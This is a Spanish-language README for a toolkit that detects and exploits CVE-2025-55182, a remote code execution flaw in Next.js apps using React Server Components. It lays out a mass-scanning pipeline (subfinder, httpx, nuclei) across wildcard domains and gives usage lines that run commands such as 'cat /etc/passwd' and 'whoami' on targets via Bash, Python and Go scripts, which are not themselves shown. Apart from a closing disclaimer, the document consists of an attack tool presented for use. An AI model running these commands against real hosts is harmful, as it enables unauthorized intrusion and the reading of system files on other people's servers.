CVE-2025-55182: React Server Components RCE Scanner

Un kit de herramientas integral para detectar y explotar CVE-2025-55182, una vulnerabilidad crítica de Ejecución Remota de Código en aplicaciones Next.js que utilizan Componentes del Servidor React.

Este repositorio incluye un escáner unificado en Bash (modo único y masivo), implementaciones en Python/Go y un flujo de trabajo de reconocimiento para bug bounty.

📂 Estructura del Repositorio

• scanner.sh — Script Bash todo-en-uno para escaneo de objetivo único y masivo
• python/exploit.py — Implementación estable en Python (mejor escape de JSON)
• go/main.go — Implementación de alto rendimiento (compilable)

🚀 Flujo de Trabajo de Reconocimiento (Metodología Bug Bounty)

Para la caza masiva en dominios comodín, usa este pipeline para filtrar objetivos antes del escaneo:

# 1. Enumerar subdominios
subfinder -dL wildcards.txt -all -recursive > subs.txt

# 2. Filtrar hosts activos
httpx -l subs.txt -o live.txt

# 3. Detección previa con Nuclei (opcional)
nuclei -l live.txt -t CVE-2025-55182.yaml -o final.txt

🛠️ Uso del Escáner Bash (Recomendado)

El script scanner.sh admite escaneo de objetivo único y escaneo masivo desde un archivo de lista.

🔧 Instalación

chmod +x scanner.sh

1️⃣ Modo de Objetivo Único

Ideal para verificar un objetivo específico con salida detallada.

# Verificación básica (usa "id" por defecto)
./scanner.sh -d example.com

# Ejecutar comando personalizado
./scanner.sh -d https://target.com -c "cat /etc/passwd"

2️⃣ Modo de Escaneo Masivo

Escanea eficientemente una lista de URL y guarda los hosts vulnerables en un archivo.

# Escanear una lista de URL
./scanner.sh -l live.txt -c "whoami"

# Archivo de salida personalizado
./scanner.sh -l live.txt -o my_bounty.txt

Opciones

🐍 Versión en Python

Úsala si encuentras problemas con el escape de caracteres especiales en Bash.

Requisitos

pip install requests

Uso

python3 python/exploit.py -u http://target.com -c "uname -a"

🐹 Versión en Go

Alto rendimiento, dependencias mínimas.

Ejecutar directamente

go run go/main.go -u http://target.com -c "id"

Compilar binario

cd go
go build -o cve-scanner main.go
./cve-scanner -u http://target.com

⚠️ Aviso Legal

Esta herramienta es únicamente para fines educativos y pruebas de seguridad autorizadas. El uso no autorizado es estrictamente ilegal. El desarrollador no asume ninguna responsabilidad por el mal uso o los daños causados por este programa.

🔗 Referencias

• Detalle CVE de NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-55182

• Aviso de seguridad de React (vulnerabilidad en Componentes del Servidor React): https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

• Plantilla Nuclei de ProjectDiscovery: https://cloud.projectdiscovery.io/library/CVE-2025-55182